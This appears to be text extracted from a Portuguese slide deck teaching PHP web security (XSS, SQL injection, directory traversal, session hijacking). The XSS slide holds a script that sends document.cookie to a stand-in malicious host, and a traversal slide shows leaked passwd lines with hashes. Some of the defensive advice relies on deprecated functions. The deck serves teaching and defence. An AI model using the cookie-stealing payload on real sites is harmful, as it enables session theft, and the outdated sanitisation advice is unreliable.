Escolar Documentos
Profissional Documentos
Cultura Documentos
<script>
document.location =
'http://urlmalvada.com/roubar_cookies.php?cookies=' +
document.cookie
</script>
XSS - CROSS-SITE SCRIPTING
$campo_filtrado = filter_input(INPUT_POST,
'campo_do_form', FILTER_SANITIZE_STRING);
SQL INJECTION
SQL INJECTION
• (int)$_GET[‘id’]
COMO EVITAR?
• Tratando a string
• mysql_escape_string
• mysql_real_escape_string
$id = mysql_escape_string($_GET[‘id’]);
$query = "SELECT * FROM noticias WHERE id='". $id."'";
mysql_query($query);
COMO EVITAR?
• Prepared statement
• Vamos testar...
• http://www.wablab.com/hackme
DIRECTORY TRAVERSAL
DIRECTORY TRAVERSAL
http://www.programadoringenuo.com.br/base.php?
corpo=noticia.php&id=1234
DIRECTORY TRAVERSAL
<html>
[...] layout base do site [...]
root:fi3sED95ibqR6:0:1:System Operator:/:/bin/ksh
daemon:*:1:1::/tmp:
programador_ingenuo:f8fk3j1OIf31.:182:100:Developer:/home/
programador_ingenuo/:/bin/csh
• Vamos testar...
• http://www.wablab.com/hackme
SESSION HIJACKING
SESSION HIJACKING
• Vamos testar...
• http://www.wablab.com/hackme
BOAS PRÁTICAS NO PHP
• Register_globals SEMPRE off
• require ao invés de include (e não use arquivos .inc)
• Filtre toda entrada
• Erros são para a fase de desenvolvimento.
• display_errors = off, log_errors = on
• Use criptografia
• Use sempre a última versão estável e desenvolva no modo E_ALL
ou E_STRICT